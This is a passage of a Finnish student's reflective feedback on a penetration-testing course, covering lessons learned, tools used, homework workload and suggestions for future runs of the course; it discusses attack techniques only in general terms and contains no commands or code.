mittakaavassa vaan globaalisti. 75 | 76 | ---------------------- 77 | 78 | ## Opitko jotakin? - Oma oppiminen 79 | 80 | ### **Lyhyesti:** 81 | > Mitä opetti: Kurssi avasi keskeisiä tietoturvatekniikoita todella hyvin. Ehdottomasti opin uutta. 82 | 83 | Kurssin keskeisin hyöty oli konkreettinen hyökkäysympäristö ja käytännön hyökkäysten toteuttaminen kohdejärjestelmiä vastaan - hyökkäsimme ja tunkeuduimme järjestelmiin käytännössä, mikä avasi tietoturvaa uudella tavalla. Emme tyytyneet PowerPoint-esityksiin. 84 | 85 | Kurssi antoi hyvän lähtölaukauksen itsensä jatkokehittämiselle sekä uusien menetelmien implementoimiseksi osaksi tietoturvaa käsittelemällä ja esittelemällä keskeisiä hyökkäystekniikoita, joita vihamieliset hyökkääjät voivat käyttää webpalveluihin hyökätessä sekä AV- ja IPS-järjestelmien ohittamisessa. Kurssi antoi jatkoeväitä myös verkostoitumiselle. 86 | 87 | Penetraatiotestaukseen liittyviä keskeisiä työkaluja en ennen kurssia ollut juurikaan käyttänyt, lukuunottamatta Fail2Ban:ia ja Snortia (IPS). 88 | 89 | ---------------------- 90 | 91 | ## Opitko jotakin? - Kurssin keskeinen opetus 92 | 93 | ### **Lyhyesti:** 94 | > Suosittelen kurssia kaikille IT-alan ammattilaisille, joilla on Linux- ja palvelintaustaa. Yleisluontoisempana kurssi kävisi myös muille IT-alan ammattilaisille, mutta keskeisin konkreettinen sisältö eli hyökkäystekniikoiden toteutus jäisi puutteellisen tietotaidon vuoksi tekemättä. 95 | 96 | > Kurssin nykyinen toteutusmuoto edellyttää käytännön Linux-, palvelin- ja verkko-osaamista 97 | 98 | Hyökkäystekniikoiden ja -työkalujen opettelu on keskeistä, koska näin voidaan sovellus- ja infrasuunnittelussa ottaa huomioon ja ymmärtää oman kokemuksen ja konkretian kautta vihamieliset hyökkäystekniikat. Kurssi antaa käytännön kykyjä miettiä vastatoimia erilaisia hyökkäyksiä vastaan laajassa skaalassa niin loppukäyttäjän kannalta kuin kriittisissäkin yritysjärjestelmissä. 99 | 100 | On erittäin tärkeää tietää vähintään perusteet siitä, miten hyökkääjät ohittavat tietojärjestelmiä, koska tämä tieto antaa konkreettista pohjaa tehokkaiden vastatoimien suunnittelulle. Kurssi opetti käytännössä sen, että mikään järjestelmä ei ole täysin suojassa vihamielistä toimintaa kohtaan - varsinkin, jos tietoturvaa ei osata käsitellä tai ymmärretä oikein. Tämä koskee myös tietoturvallisena pidettyä Linuxia, jota vastaan löytyy myös valmiita hyökkäystyökaluja ja jotka heikosti tai väärin suojattuna ovat alttiita vihamieliselle toiminnalle niin ikään Windowsin lisäksi. 101 | 102 | **On turha tuudittautua naiivisti ajatukseen "käytän Linuxia, olen turvassa"** (vinkki: suosi silti GNU/Linuxia, älä Linuxia. Lue tämän ero netistä, jos et tiedä). Tämä on väite, josta tuntuu Internetissä tulleen eräs julkilausuttu "totuus" ja johon itsekin jaksoin jossain määrin uskoa ennen kurssia. En enää. 103 | 104 | Virallisten pakettilähteiden ja allekirjoitusavaimien todentaminen sekä tarkastussummien käyttäminen konkretisoituvat ja korostuvat, ehdottomasti. Lopulta tämänkin tarkastusketjun voi sössiä joko huolimaton/väliinpitämätön ylläpitäjä tai käyttäjä, ja monet muut syyt. 105 | 106 | ---------------------- 107 | 108 | ## Opitko jotakin? - Hyökkäystyökalujen määrä on rajaton 109 | 110 | ### **Lyhyesti:** 111 | > Vihamielisiä hyökkäystekniikoita on räjähdysmäinen määrä. Kurssilla käytiin läpi keskeisiä, mutta opittavaa olisi todellakin PALJON enemmän (mm. Bluetooth-hyökkäykset, MITM, Wlan-tukiasemahyökkäykset...). Lisäksi on suositeltavaa koodata itse omat hyökkäys, jos tavoite on testata järjestelmän haavoittuvuutta ja läpäistä tietoturva (valvotusti). 112 | 113 | > Mitä opetti: Ennen kurssia en ollut ymmärtänyt hyökkäystyökalujen ja tekniikoiden räjähdysmäistä määrää ja sitä, että lisää tulee koko ajan. 114 | 115 | Linuxissa käytettävien hyökkäystyökalujen määrässä, hyödyllisten komentojen opettelussa ja hyökkäyskoodien kirjoittamisessa vain taivas on rajana: Ei tule päivää, jolloin ei oppisi jotain uutta. 116 | 117 | Kurssilla käytettiin Kali Linux -penetraatiodistribuutiota. Itse tutustuin myös BlackArch Linux:iin, jossa väitetään olevan yli 2000 työkalua vihamieliseen tai tietoturvaan liittyviin toimintoihin. Kurssilla kävimme läpi muutamia keskeisiä näistä työkaluista, jotka löytyivät myös Kali Linux:sta (versio 2018.3). 118 | 119 | Erittäin keskeistä hyökkääjän kannalta on lisäksi tuottaa täysin omia haittatyökaluja (lue: C/Python/...-koodia) ja hämäysmenetelmiä suojausjärjestelmien ohittamiseksi, mikä kasvattaa uhkien määrää ja heikentää torjuntakeinoja. 120 | 121 | ---------------------- 122 | 123 | ## Opitko jotakin? - Hyöty kurssin ulkopuolella 124 | 125 | ### **Lyhyesti:** 126 | > Kurssi on lähtölaukaus maailmaan, joka liippaa kaikkia IT:tä käyttäviä ammattialoja 127 | 128 | > Mitä opetti: Kyberturvallisuus on huomioitava monenlaisilla ammattialoilla, myös niillä, jotka eivät ole suoranaisesti IT-aloja, mutta käyttävät IT:tä toiminnassaan. 129 | 130 | Kyberturvallisuuden tärkeys skaalautuu kaikkiin IT-pohjaisiin järjestelmiin ja käyttöympäristöihin. Kurssista on hyötyä, mistä tahansa IT-järjestelmästä puhummekin ammattialasta riippumatta. 131 | 132 | Kurssilla ja sen ulkopuolella kurssin aikana opitut hyökkäystekniikat on yleensä rajattu tietynlaiseen käyttöympäristöön. Ympäristöjä on kuitenkin todella paljon aina verkkosivuista tietyn ammattialan laitteisto/ohjelmistokombinaatioon sekä sulautettuihin järjestelmiin saakka. 133 | 134 | Omana esimerkkinä voisin kysyä seuraavaa: mitä tapahtuu, jos kykenemme toteuttamaan oikeilla työkaluilla (valmis tai itse koodattu) hyökkäyksen esimerkiksi sairaala- tai kaupan kassajärjestelmiä vastaan, tai pystymme hyökkäämään haavoittuvaa kommunikaatiotekniikkaa käyttävää mittauslaitetta vastaan? Kun ymmärrämme, että näitä järjestelmiä vastaan voi hyökätä niin fyysisellä kuin tietoteknisellä tasolla, voimme myös paremmin varautua hyökkäyksiin. 135 | 136 | ---------------------- 137 | 138 | ## Opitko jotakin? - Laajasti käytettyjen ammattiratkaisujen heikko suojaus yllättää 139 | 140 | ### **Lyhyesti:** 141 | > Luulin ja tuudittauduin uskoon, että ohjelmistokehittäjät ovat "ohjelmistotekniikan ammattilaisina" turvanneet laajasti käytetyt ammattiohjelmistot tai antaneet turvallisia ohjeistuksia niiden käyttöön liittyen. Olin väärässä - todella pahasti. 142 | 143 | > Mitä opetti: ammattikehittäjät eivät aina suojaa ratkaisujaan monenlaisia hyökkäystekniikoita vastaan. Kehittäjä ei ole jumala, kehittäjä on ihminen inhimillisine piirteineen. 144 | 145 | Kyberturvallisuuteen perehtymättömät kehittäjät eivät ilmeisesti ymmärrä ottaa ohjelmistosuunnittelussa (backend/frontend) tietoturvaa huomioon - tai ottavat sen huomioon puutteellisesti/vajavaisin tiedoin. Esimerkkinä web-ohjelmistot sekä eräs aiempaan ammattialaani liittyvä palvelinohjelmisto, jonka ydinsuunnittelussa huomasin selkeitä tietoturvapuutteita ja laiminlyöntejä "helpomman käytön" kustannuksella. 146 | 147 | Mainitussa palvelinohjelmistossa on huomioitu ammattialaan liittyvä keskeinen toiminnallisuus hyvin, mutta käyttöä varten annetut viralliset, julkiset ohjeet ovat suoraan sanottuna täysin epäammattimaisia ja vaarallisia kyberturvallisuuden näkökulmasta. Lisäksi ohjelmakoodissa on kyberturvallisuuden kannalta vaarallisia implementointeja. Mikä pelottavinta, näistä ei tunnu olevan julkista keskustelua missään verkossa eivätkä kehittäjät eivät tiedota käyttäjiä, vaikka vaarallisuus on täysin ilmiselvää. Käyttäjät eivät taas ymmärrä tietoturvan päälle lähtökohtaisesti paljoakaan. Kehittäjien asenteellisuus ja tekninen ymmärrys tietoturvaa kohtaan ovat ratkaisevassa roolissa. 148 | 149 | Ohjelmisto- ja infrakehittäjien vastuu tietoturvassa on suuri: on kehittäjän vastuu tuottaa loppukäyttäjille turvallisia (ei-haitallisia) ratkaisuja, ja ottaa tietoturva huomioon jo suunnittelussa. Jos laiminlyö tietoturvaa tai ei tee penetraatiotestausta, voi vihamielinen hyökkääjä havaita haavoittuvuudet, ja tämän jälkeen Pandoran lipas on auki. Ohjelmiston suojaaminen eri murtoyrityksiä (debugger-tekniikat) vastaan on tärkeää. 150 | 151 | Infrapuolella vastuu liittyy ennen kaikkea verkkoratkaisujen ja fyysisten tilojen suojausratkaisuihin sekä laitteistojen fyysiseen suojaukseen ja säädettyyn tietoturvapolitiikkaan sekä sen noudattamiseen. 152 | 153 | ---------------------- 154 | 155 | ## Opitko jotakin? - Tietoturva ja käytännöllisyys 156 | 157 | ### **Lyhyesti:** 158 | > "Tietoturva vs käytännöllisyys" vai "tietoturva ja käytännöllisyys" 159 | 160 | > Mitä opetti: Tietoturva pitäisi aina huomioida, viitsisi tai ei. Laiska lenkki on löysin ja heikoin lenkki. 161 | 162 | Ohjelmistojen tietoturva ja käytännöllisyys kulkevat käsi kädessä. Joissain tapauksissa on niin, että tiukemmat tietoturvavaatimukset tulevat implementoiduksi *käytettävyyden kustannuksella*, ja päin vastoin. Tässä piilee riski siihen, että käytettävyydelle annetaan liikaa sijaa tietoturvan kustannuksella, ja vihamielinen taho huomaa sekä käyttää havaitsemaansa haavoittuvuutta (fyysistä tai tietoteknistä) hyväksi - pahimmillaan muiden tietämättä. 163 | 164 | Takaoven saaminen uhrin tietokoneelle voi olla erittäin helppoa, ja naiivi *suojauksia käyttämätön* tai väliinpitämätön ja kaikenlaista binääriä kokeileva uhri ei voi välttämättä missään vaiheessa tietää, että hänen koneelleen on tunkeuduttu, ellei tietoturvasta huolehdi kukaan. (Yrityksen Windows-IT-ylläpitäjät pyrkivät usein rajaamaan järjestelmään kuulumattomien binäärien ajoa, mikä on askel oikeaan suuntaan toki...) 165 | 166 | ---------------------- 167 | 168 | ## Opitko jotakin? - Loppukäyttäjän ohjelmat 169 | 170 | ### **Lyhyesti:** 171 | > Kurssi antaa keskeisen ymmärryksen avoimen lähdekoodin tärkeydestä sekä suljettuihin ratkaisuihin ja epämäärisiin binääreihin liittyvistä riskeistä. Myös avoimen lähdekoodin ratkaisut tulisi auditoida, monesti lähdekoodista lähtien. 172 | 173 | > Mitä opetti: Älä luota binääriin. Luota koodiin, jonka ymmärrät ja auditoit. 174 | 175 | ---------------------- 176 | 177 | ## Opitko jotakin? - Uhkien tunnistus 178 | 179 | ### **Lyhyesti:** 180 | > Tunnista uhat, mitoita toimenpiteet, toteuta turvaratkaisut 181 | 182 | > Mitä opetti: Kurssi opetti itselleni paremmin sen, miten hyökkääjä voi toimia päästessään kiinni herkulliseen haavoittuvuuteen. 183 | 184 | Tietoturvan toteuttamisessa täytyy tunnistaa uhkatekijät, järjestelmän kokonaisvaltainen ohjelmistollinen sekä konkreettinen rakenne, sijainti ja avoimuus sekä sen kehittäjä-, ylläpito- ja käyttäjäryhmät. Järjestelmän suojaus, auditointi, analysointi ja asianmukainen tietoturvapolitiikka auttavat, mutta eivät ole vedenpitäviä ratkaisuja. On silti erittäin keskeistä suojata järjestelmät, analysoida lokeja, järjestelmän toimintaa sekä verkkoliikennettä - ja mikä tärkeintä, ei saa olla naiivi ohjelmistojen, järjestelmien ja ihmisten kanssa (kyllä, ihmisetkin voivat olla uhka, myös se parhain työkaveri, ks. social engineering). 185 | 186 | Keskeistä on olla mahdollista hyökkääjää yhden askeleen edellä ja suunnitella tehokkaat ennakkotoimenpiteet vihamielistä toimintaa kohtaan. Mikäli hyökkääjä on järjestelmässä, pitäisi hyökkääjä havaita ja pysäyttää mahdollisimman pian sekä vastatoimenpiteet suojata (kyllä: suojata, ettei niitä voi huomaamattomasti kytkeä pois). Jos hyökkääjä pääsee järjestelmään, on oltava suojakeino, jolla vahinko minimoituu ja toiminta keskeytyy (vaikkakin peli ollaan jo tässä osittain hävitty!). 187 | 188 | Erityisen uhkaava on tilanne, jos hyökkääjä havaitsee järjestelmässä haavoittuvalle alttiin ohjelman tai ohjelmaversion, kuten palvelinohjelmiston, saa käsiinsä arkaluonteista tietoa ja/tai kykenee tekemään siirtymää kriittisessä sisäverkossa piilottaen jälkensä tunkeutumisesta ohi turvajärjestelmien. Palvelimen sijaan kyseessä voi toki olla myös ihan perinteinen asiakaspäätekonekin vailla palvelinohjelmistoa, joka saadaan porattua auki sopivalla backdoorilla, joka ujutetaan koneelle, ja sama Pandoran lipas levähtää käsiin. 189 | 190 | ---------------------- 191 | 192 | ## Missä aiot hyödyntää taitoja kurssin ulkopuolella? - Oma oppiminen jatkossa 193 | 194 | ### **Lyhyesti:** 195 | > On omalla vastuulla käyttää opittuja tekniikoita eettisesti 196 | 197 | > Mitä opetti: Löysin kaksi uutta peliä: HackTheBox ja VulnHub. Lisäksi sovellan oppimaani tulevissa IT-ratkaisuissa ja parannan nykyisiä. Toteutan penetraatiotestausta omiin palvelinjärjestelmiini jatkossa sekä seuraan tiiviimmin haavoittuvuuksiin liittyvää uutisointia ja CVE-havaintoja. 198 | 199 | On välillä kiva naksutella HackTheBoxin koneiden parissa, VulnHub:n tarjontaan pitää myös tutustua paremmin. Ja ei tarvitse arvata, että vastaavia alustoja löytyy varmasti eksponentiaalisesti enemmänkin. Hyöty ja huvi samassa, mikäs siinä. 200 | 201 | Koen kyberturvallisuuden oppimisessa tärkeänä, että kurssin aihepiiri läpäisee IT:tä yleisellä tasolla, koska osittaisena alanvaihtajana penetraatiotestaus voi tarjota itselleni uusia mielenkiintoisia ja erikoislaatuisia mahdollisuuksia kahdella eri alalla. 202 | 203 | Kyberturvallisuus linkittyy myös fyysiseen turvallisuuteen. Olen aiemmin ollut tekemisissä fyysiseen turvallisuuteen liittyvien turvaratkaisujen parissa. 204 | 205 | ---------------------- 206 | 207 | ## Miten voisin parantaa kurssia? - Kurssin jatkokehitys 208 | 209 | ### Perustietoa: Hyvä lähtölaukaus penetraatiotestauksen maailmaan 210 | 211 | #### **Lyhyesti:** 212 | 213 | > Kurssi opetti keskeisiä penetraatiotekniikoita 214 | 215 | Kurssi oli mielestäni kokonaisvaltaisesti hyvin järjestetty. Kurssilla opittiin keskeisiä lähteitä ja käytäntöjä, joista kukin voi lähteä omaa osaamistaan kyberturvallisuudessa syventämään. 216 | 217 | Sopivatasoisen lähtölaukauksen antaminen eri hyökkäys- ja suojaustekniikoista opiskelijoille on hyvin keskeistä motivaation ja itseoppimisen kannalta. Kurssi täytti hyvin nämä tarpeet ja antoi hyviä eväitä tulevalle itsekehittymiselle sekä verkostoitumiselle. Pidän kurssin lähestymistapaa penetraatiotestaukseen oikeanlaisena ihmisille, jotka eivät ole aiemmin tehneet vastaavaa käytännössä. 218 | 219 | ### Perustietoa: OWASP 220 | 221 | #### **Lyhyesti:** 222 | 223 | > Pidä tämä 224 | 225 | OWASP Top10 ja OWASP WebGoat olivat kurssin alussa hyviä sekä keskeisiä oppimismateriaaleja, ja pitäisin ne myös jatkototeutuksilla mukana. 226 | 227 | ### Perustietoa: Stuxnet ja tieteelliset artikkelit 228 | 229 | #### **Lyhyesti:** 230 | 231 | > Pidä tämä 232 | 233 | Tieteellisten artikkelien tutkimisen Stuxnet:sta ja vastaavista antoi hyvää tietoa, miten eri tyyppisesti ja eri tekniikoita hyödyntäen hyökkäyksiä on toteutettu. Pitäisin mukana myös tulevilla toteutuksilla. 234 | 235 | Tekniset analyysit/dokumentaatiot ovat avainlähde lisäämään ymmärrystä siitä, miksi ja millä keskeisillä tekniikoilla jotkin hyökkäykset ovat ylipäätään onnistuneet, joskin joillekin teknisen dokumentaation lukeminen voi tuntua työläältä. 236 | 237 | ### Korkattavat koneet: Walkthrough vs. DIY 238 | 239 | #### **Lyhyesti:** 240 | 241 | > Pidä tämä, mieti toteutusta 242 | 243 | Vaikka Walkthrough-videot voidaan mieltää "huijaamiseksi", antavat ne myös pohjaa oikeanlaiselle ajattelutavalle ja näyttävät osaltaan keskeisiä hyökkäystyökaluja- ja tekniikoita. Oikeanlaisen ajattelutavan harjaannuttaminen on keskeistä kurssilla, jossa "kurkistetaan" penetraatiotestauksen maailmaan. 244 | 245 | Kurssin toisella toteutuksella saattaisin harkinnan mukaan ottaa ensimmäisiksi korkattaviksi koneiksi 1-2 erityyppistä HTB:n "Retired" -konetta tai Vulnhub:n konetta, ja tämän jälkeen jonkin ei-spoilatun HTB:n "Active"-koneen. Tämä täytyisi yrittää mitoittaa jotenkin työmäärän/aikataulun mukaan mieleiseksi, koska ainakaan kaikki Active-koneet eivät välttämättä heti "aukea", ja tehtävien deadline puskee päälle jättäen homman lopulta ratkaisematta. 246 | 247 | HTB-maalikone Jerry oli sen verran helppo korkattava, ettei sen taustoittamiseksi välttämättä tarvitse "hirveää jumppaa", mutta muut HTB:n koneet voivat vaatia hieman enemmän perehtymistä aihepiiriin. 248 | 249 | ### Tekniikat 250 | 251 | #### **Lyhyesti:** 252 | 253 | > Pidä tämä 254 | 255 | Kurssilla on hyvä pitää perustekniikoiden opiskeluosuus (nmap, hydra, dirbuster, zaproxy, sqlmap, jne.), ja mielestäni oli hyvä, että jokainen sai tutustua itse valitsemiinsa tekniikoihin jossain määrin vapaavalintaisesti, lukuun ottamatta ihan core-osaamista (OWASP, msf). Näin työkalujen ja tekniikoiden skaalaa saatiin kasvatettua opiskelijoiden keskuudessa, ja tiedonvaihto oli mahdollisimman tehokasta. 256 | 257 | Perustyökalujen käytön harjaannuttamisella opiskelijat harjaantuvat riittävästi koneiden korkkauksiin ja saavat kohtalaisen käsityksen keskeisistä tekniikoista. Olennaista on jaksottaa työkalujen oppiminen jotenkin niin, ettei liika infoähky tapa opiskelumotivaatiota ja antaisi riittävän kuvan työkalujen sekä tekniikoiden toiminnasta. 258 | 259 | Tiedän, että kurssilla opeteltavat työkalut ovat vain pintaraapaisu siitä, mitä offensiiviset Linux-penetraatiojakelut pitävät sisällään. Lisää työkaluja ja tekniikoiden kuvauksia löytyy myös mm. erinäisistä GitHub-repoista. 260 | 261 | ### Tekniikat: Skannausten agressiivisuudesta 262 | 263 | #### **Lyhyesti:** 264 | 265 | > Monet opiskelijat skannasivat liian agressiivisesti. 266 | 267 | Skannaustekniikoissa (porttiskannaus, brute-force) aika moni tuntui käyttävän skannaustyökaluja hyvin agressiivisilla oletusasetuksilla. Itsekin sorruin tähän, kunnes tutustuin dokumentaatioon paremmin (esim. nmap ja hydra). Skannausten agressiivisuusasetuksen vaikutusta olisi ehkä hyvä myös käydä läpi, koska monet työkalut asettavat skannausten agressiivisuuden turhan korkealle, ja voivat kaataa kevyen testipalvelimen. 268 | 269 | ### Tekniikat: Porttiskannauksen perusteet? 270 | 271 | #### **Lyhyesti:** 272 | 273 | > Harkitse. Nmap-skannauksen tekniikan toiminta. Onko järkeä opettaa, vai meneekö opiskelijan itseopiskelun piikkiin? 274 | 275 | Voisi olla hyvä käydä tai jättää itseopiskeltavaksi perusteet porttiskannauksesta (SYN Stealth, Xmas, Null scans jne.) sekä näyttää vaikka Wiresharkilla, kuinka konkreettisesti nämä näkyvät verkossa, sekä näyttää palomuurin vaikutus. IPTables näyttelee jossain määrin myös keskeistä roolia eräiden uhkien torjunnassa, joskaan ei ole mikään vedenpitävä ratkaisu. 276 | 277 | ### Kotitehtävät 278 | 279 | #### **Lyhyesti:** 280 | 281 | > Ei paljoa parannettavissa 282 | 283 | Kotitehtävät olivat mielenkiintoisia, joskin itse yllätyin hieman siitä, että ne vaativat aika intensiivistä paneutumista lyhyellä aikavälillä uusiin tekniikoihin. Tämä voi muodostua joillekin hankalaksi ja yllättäväksi haasteeksi muuhun elämään sovitettuna. Joskin täytyy mainita, että on erittäin tärkeää olla läsnä tunneilla. Valtaosa kotiläksyiksi tulleista tekniikoista opetetaan riittävällä tasolla nimittäin edellisellä opetuskerralla. 284 | 285 | ### Kotitehtävät: tehtävien merkitys ja tiedonsaanti 286 | 287 | #### **Lyhyesti:** 288 | 289 | > Tiedon keräämisen, kokemusten jakamisen ja tekniikoiden kokeilun tärkeyden korostus 290 | 291 | Kotitehtävät auttavat opiskelijaa syventymään aiheeseen. Penetraatiotestauksessa tämä on mielenkiintoista siksi, että dokumentaatiota tai "helposti saatavilla olevaa" informaatiota ei kaikesta välttämättä ole saatavilla, mikä lisää opiskelijan omaa vastuuta selvittää käytettyjen tekniikoiden toimivuus käyttöympäristössä. Monet tunnetut hyökkäystyökalut on jossain määrin dokumentoitu Kali Tools -verkkosivulla, mutta tuntemattomien työkalujen parhain referenssi on toisinaan yksi YouTube-video ja joskus pelkkä lähdekoodivarasto. 292 | 293 | Kurssilla korostui erityisesti opiskelijoiden kotitehtävinään itsetehdyt työkalu- ja tekniikkatestaukset: monista tekniikoista käytännön toteutettavuustietoa on niukasti saatavilla tai edellyttää Walkthrough-videoiden metsästämistä, joten mikä tahansa oppia antava tietolähde on tärkeä. Tässä korostuu myös tiedon jakamisen tärkeys opiskelijoiden kesken. 294 | 295 | ### Kotitehtävät: käytetty aika ja lähestymistapa 296 | 297 | #### **Lyhyesti:** 298 | 299 | > Kotitehtävät söivät aikaa, opettivat paljon, ja antavat mahdollisuuden omien menetelmien jatkokehittämiseen. Kehkeytynyt aikapula oli ymmärrettävää kurssin luonteen vuoksi. 300 | 301 | Tekniikoiden kokeilu, testaus ja tekninen puzzleilu olivat mielenkiintoisia. Hyökkäystekniikoiden selvitystyö ja analysointi veivät valtaosan ajasta, jotka itse käytin kotitehtävien tekoon. Monissa hyökkäystekniikoiden selvitystyössä aikaa vei ennen kaikkea raporttien teko, ei niinkään tekninen testaus (tein testauksen yleensä minuuteissa, mutta raporttien kirjoitteluun perusteluineen meni tunteja). Noudatin jokseenkin joissakin tehtävissä seuraavanlaista työjärjestystä: 302 | 303 | ``` 304 | Kotitehtävän osa 1: toteuta asia X 305 | 306 | Ratkaisu: 307 | -> toteutetaan asia X tavalla A, ajankäyttö: 1-2h 308 | -> epäonnistuminen 309 | -> havaintojen kirjaus, analyysi 310 | -> toteutetaan asia X tavalla B, ajankäyttö: 1-2h 311 | -> epäonnistuminen 312 | -> havaintojen kirjaus, analyysi 313 | ... 314 | -> toteutetaan asia X tavalla D, ajankäyttö: 1-3h 315 | -> onnistuminen 316 | -> havaintojen kirjaus, analyysi. Lopetus 317 | 318 | -> Kohdan vastauksen laatiminen ja ollennaiset havainnot. 319 | 320 | Ajankäyttö yhteensä, kotitehtävän osa 1: 3-9h 321 | ``` 322 | 323 | Joidenkin tehtävien tekoa olisin voinut nopeuttaa jättäen yksinkertaisesti väliraportoinnin tekemättä ja keskittyä maksimaalisesti onnistuneeseen walkthrough:n, mutta koin tärkeäksi käydä myös epäonnistumistilanteet läpi. Tämä lisää ymmärrystä tekniikoista itsestään paremmin verrattuna "tein hyökkäyksen, mutta en oikeastaan tajua mitä edes tein" -tyyliseen tilanteeseen. Lisäksi: hyökkäystekniikoiden jatkokehittämiseen kurssin ulkopuolella on nyt kattavampi tietous, kun myös selvät epäonnistumiset on kirjattu ylös kertomuksineen ja havaintoineen. 324 | 325 | Edellä kerrotun syklin vuoksi koin erittäin tärkeänä jaksottaa tehtävien tekoa pitkin viikkoa. Pyrin parhaani mukaan deadlineen "vuorokausi ennen tunteja". Arvioisin viikkotyömääräksi yhden kotitehtävän osalta keskimäärin 10-25 tuntia, mutta vaihtelua oli paljon tehtävän luonteesta riippuen. 326 | 327 | ### Kurssin opetuslinjaus: huolellisesti opeteltu tekniikka vs. uuden oppiminen 328 | 329 | #### **Lyhyesti:** 330 | 331 | > Vaihtoehdot: 1) Paljon oppia vähässä ajassa, 2) vähän oppia paljossa ajassa vai 3) ratkaisuna kurssin pidentäminen kahden periodin mittaiseksi? Siinä pähkinä purtavaksi. 332 | 333 | Itselläni jäi osa tehtävistä sellaiseen vaiheeseen, että käytetyissä menetelmissä olisi jatkokehityksen ja hienosäädön paikka. Päädyin monesti ratkaisuihin, jotka olivat aikataulun puitteissa mahdollisia, mutta eivät olleet parhaita mahdollisia. Väljemmällä aikataululla olisin voinut tehdä hyökkäysten toteutuksen paremmin ja voinut yrittää esimerkiksi virustorjunnan ohittamiskeinoja koodin obfuskointimenetelmillä (mikä olisi edellyttänyt monien AV-ohjelmistojen kanssa testailua jne.). 334 | 335 | Penetraatiotestauksessa myös huolellisesti tehty hyökkäys on tärkeää hyökkäyksen onnistumisen kannalta, ja tavoitteeseen pääsyn sekä syvän oppimisen kannalta. Esimerkkinä troijalainen, jonka tehtävänä on tunkeutua järjestelmään AV:n huomaamatta. Tämä saattanee edellyttää haasteellisia obfuskointitekniikoita, ja obfuskointitekniikoiden implementointi vastaavasti tekniikoihin syventymistä, koodauksen tuntemista ja troijalaisen analyyttista testausta AV:ta vastaan (ei VirusTotalia). Muutaman päivän aikataululla tämän kaiken tekeminen ja aiheeseen riittävän syvästi perehtyminen menee erittäin tiukaksi, ellei opiskelijalla ole ennakkotietoa tai -käsitystä aiheesta ja jotain valmista menetelmää toteuttaa em. skenaario. 336 | 337 | Aikataulupaineista huolimatta tehtävät olivat mielenkiintoisia, ja niiden olennainen anti on ennen kaikkea siinä, mitä ne antavat tulevaisuuteen ja opettavat, kuinka huonoja tietoturvaratkaisuja olen joskus päätynyt tekemään. Tulen käyttämään oppimaani tietotaitoa tietoturvaratkaisujen kehittämisessä ja yleisessä tietoturvan parantamisessa sekä omassa että muussa käyttöympäristössä. 338 | 339 | Kurssirakenteesta on pääteltävissä, että eräs opettamistavoite on ollut mahdollisimman laajan skaalan opettaminen opiskelijoille, valitettavasti vain kovin lyhyen aikataulun puitteissa. 340 | 341 | Vaikka kotitehtävien tekoon varattu aika oli lyhyt, koen silti kurssin aikataulun huomioon ottaen tärkeämpänä itse asiassa, että kurssilla käydään mahdollisimman laaja skaala penetraatiotestauksen keskeisimpiä oppeja - vaikkakin sillä hinnalla, että epäonnistumisia ja säheltämisiä voi sattua. Jostakin pitää saada alkusysäys keskeisten tekniikoiden ymmärtämiseksi. On opiskelijan omalla vastuulla parantaa toteuttamiaan menetelmiä ja muuttaa epäonnistumiset onnistumisiksi paremmalla ajalla ja kurssisisältöä tukevalla jatko-oppimisella (joskaan se ei vaikuta tämän kurssin arviointiin). 342 | 343 | Koko kurssin ajatus lienee antaa alkusysäys penetraatiotestauksen maailmaan, ja siihen tarpeeseen kurssi vastasi hyvin. Saattaisin harkita kurssin myöhempiä toteutuksia kahden periodin mittaisena opettajan ja Haaga-Helian harkinnan mukaan. 344 | 345 | ### Tehtävät ja tekniikat: yksi ohje ei päde 346 | 347 | #### **Lyhyesti:** 348 | 349 | > Oman oppimisen, Linux-tietämyksen sekä soveltamisen tärkeyden korostus opiskelijoille niin työkaluissa, tekniikoissa kuin kotitehtävissäkin. 350 | 351 | Niin kuin Linux-maailmassa yleisestikin, ei yhden ihmisen ohje välttämättä täysin päde toisen ihmisen ympäristöön. Varsinkin ihmisillä, joille käytetty tekniikka ei ole tuttu, ohjeiden orjallinen noudattaminen korostuu eikä opittua tietoa osata soveltaa. 352 | 353 | Orjallisella noudattamisella on riski törmätä seinään ja mystisiin virhetilanteisiin toisessa käyttöympäristössä. Varsinkin, kun kurssilla opetellaan tekniikoita, joista ei aina ole kattavaa informaatiota saatavilla, niin itseoppimisen ja sovellettavuuden merkitys korostuu. Kaikkea ei voi syöttää kädestä suuhun, vaan joskus opiskelijan on osattava soveltaa oppimaansa tietoa ilman step-by-step -ohjeistusta. 354 | 355 | Opiskelijoiden käyttämät ympäristöt poikkeavat toisistaan, mikä on yksi syy heidän toteuttamiensa hyökkäysten onnistumiseen tai epäonnistumiseen. Kurssin ensimmäisen toteutuksen aikana tehtyjen olennaisten havaintojen korostus voisi olla keskeistä kurssisisällön jatkokehittämisen kannalta. Esimerkkinä Windows 7 ilman Defenderiä (hyökkäys onnistuu) vs. Windows 10 Defenderillä (hyökkäys epäonnistuu). Jos joku jää näiden kanssa tappelemaan, tuhrautuu aikaa näiden selvittämiseen, ja itse kotitehtävän toteutus voi jäädä heikommalle tolalle. 356 | 357 | Kurssilla voisi olla lisävarmistus opiskelijan perustyökalujen käyttötasosta: oli kyseessä Oracle VirtualBox, VMWare, Vagrant (jokin näistä) tai vaikkapa ohjelmien asennus, poisto, pakettivarastojen lisäys ym. Kali Linux -ympäristössä (apt/dpkg + PPA jne.). 358 | 359 | Hieman yllättävästi koetilanteessa joillakin ihmisillä oli hukassa esim. SaltStack:n PPA:n lisäys Kali Linux:iin, vaikka ohjeet ovat suoraan netissä pienen etsimisen takana ja riittävällä Linux-ymmärrystasolla sovellettavissa. 360 | 361 | ### Muuta: Kurssin opintopistemäärän kasvattaminen? 362 | 363 | #### **Lyhyesti:** 364 | 365 | > Harkitse. Opintopisteitä enemmän. Kurssi oli työläs. 366 | 367 | Edellä mainittujen ajankäyttöön liittyvien perusteluiden takia harkitsisin kurssin opintopistemäärän kasvattamista: Kurssi on omalta osaltani ollut ehdottomasti syksyn 2018 työläin (+ aikaavievin) 5 op:n kurssi itselläni. Jätän tämän opettajan ja Haaga-Helian harkinnan varaan, ja ymmärrän, että ennakkoon määrätyistä opintopistemääristä ei välttämättä kovin helpolla (jos lainkaan) jousteta. 368 | 369 | ### Muuta: kurssille jatkoa? 370 | 371 | #### **Lyhyesti:** 372 | 373 | > Harkitse. Kaikkea ei pysty opettamaan yhdessä periodissa. 374 | 375 | **Vaihtoehto A)** 376 | 377 | Kurssilla opittiin paljon penetraatiotestauksen keskeisiä menetelmiä, mutta havaitsin, että lisätiedolle olisi tarvetta. Ennen kaikkea omien troijalaisten/virusten 